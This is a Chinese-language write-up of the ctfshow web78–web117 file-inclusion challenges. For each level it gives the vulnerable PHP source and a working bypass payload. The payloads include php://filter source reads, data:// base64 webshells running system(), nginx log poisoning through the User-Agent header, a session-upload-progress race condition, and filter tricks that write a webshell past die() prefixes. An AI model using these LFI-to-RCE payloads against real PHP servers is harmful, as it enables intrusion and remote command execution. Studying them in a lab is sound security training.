ctfshow 文件包含
web78
查看源码,发现用了include包含文件,没有任何过滤
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
查看源码,发现对php进行了过滤,采用data协议,进行base64编码
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAnKTs/Pg==
//编码处是 <?php system("ls ");?> 回显flag.php,index.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
//编码处是 <?php system("cat flag.php");?>
web80
查看源码,在上题基础上又把data过滤了
这里采用包含日志文件绕过,通过User-Agent头部注入命令:
payload:
?file=/var/log/nginx/access.log
//ua头:<? php system('ls');?> -> <? php system('cat fl0g.php');?>
web81
跟上一个题一样,记得bp点击send时候,点击两下
web82-86
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这题又过滤了 . ,日志包含的方法就不能用了(access.log)
参考:
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
浅浅总结一下:
session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。
问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空
用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
对于第一点,正好它生成的临时文件里用的是_
,可以将想要执行的命令<?php system('ls');?>
写入这个文件;
但是,再看第二点,文件上传后,生成的临时文件会立即清空,也就是说以我们的速度是不可能读取的到,那么,就需要借助条件竞争了。
条件竞争:假设攻击者上传了一个用来生成恶意shell的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。
文件上传前端代码:
<!DOCTYPE html>
<html>
<body>
<form action="自己容器的域名(your-domain)" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
创建一个1.html,写入上面的代码
搭建本地环境,进入1.html,上传的文件随意
使用bp抓包
在cookie处添加:PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag
123处为了方便爆破
在抓包题目容器的包
下面是条件竞争的一般设置,数字够大就行
两个包同时放包,为了方便可将ls直接改为fl0g.php进行竞争,得到flag
web87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
这题因为file_put_contents()
函数会在输入的file
中写入<?php die('大佬别秀了');?>
,所以一旦写入,那么当前执行的脚本就会立即结束,只有想办法让写入的die函数不被执行而当作字符串,就能成功包含文件。
参考p神的谈一谈php://filter的妙用
这里用base64绕过,思路:我们用php://filter/write=convert.base64-decode对传入的字符进行一次解码,由于<|>|?|(|)|
等字符是不在这64个字符中的,会被忽略,最终<?php die('大佬别秀了');?>
只剩phpdie,而phpdie是七个字节,base64解码是以四个字节为一组,我们在之前随意添加2个字符:aa
,组成八个字节,这样正常解码后,该die代码便没有了
?file=php://filter/write=convert.base64-decode/resource=1.php //创建一个待写入的文件
//记得进行url两次编码
post传参:a+经过base64编码的(<?php system('tac f*.php');?>))
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4K
之后访问1.php
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
发现过滤了很多东西,但没有过滤冒号,这里只有data协议可以较为轻松地绕过
paylaod:
?file=data://text/plain;base64,<?php system('tac *.php');?>
//PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pgo= 编码后会有等号(被过滤)
去掉后面的等号即可
//PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pgo
web116
下载文件,foremost分离得出png文件。
虽然代码过滤了很多过滤器,但用的是file_get_contents,直接传参?file=flag.php,用bp抓包访问即可得到flag
web117
新姿势,参考:CTFshow——web入门——文件包含_ctfshow web入门 文件包含_一风起致的博客-CSDN博客
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents里的内容通过write这个过滤器采用convert.iconv.UCS-2LE.UCS-2BE这个方式进行过滤,把<?php die();?>这个代码进行过滤扰乱,从而实现绕过
注: convert.iconv.UCS-2LE.UCS-2BE这个是将前后两个字符进行交替(abcd==>badc)
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST contents=?<hp pvela$(P_SO[T]1;)>?
访问1.php,进行post传参,1=system('tac flag.php');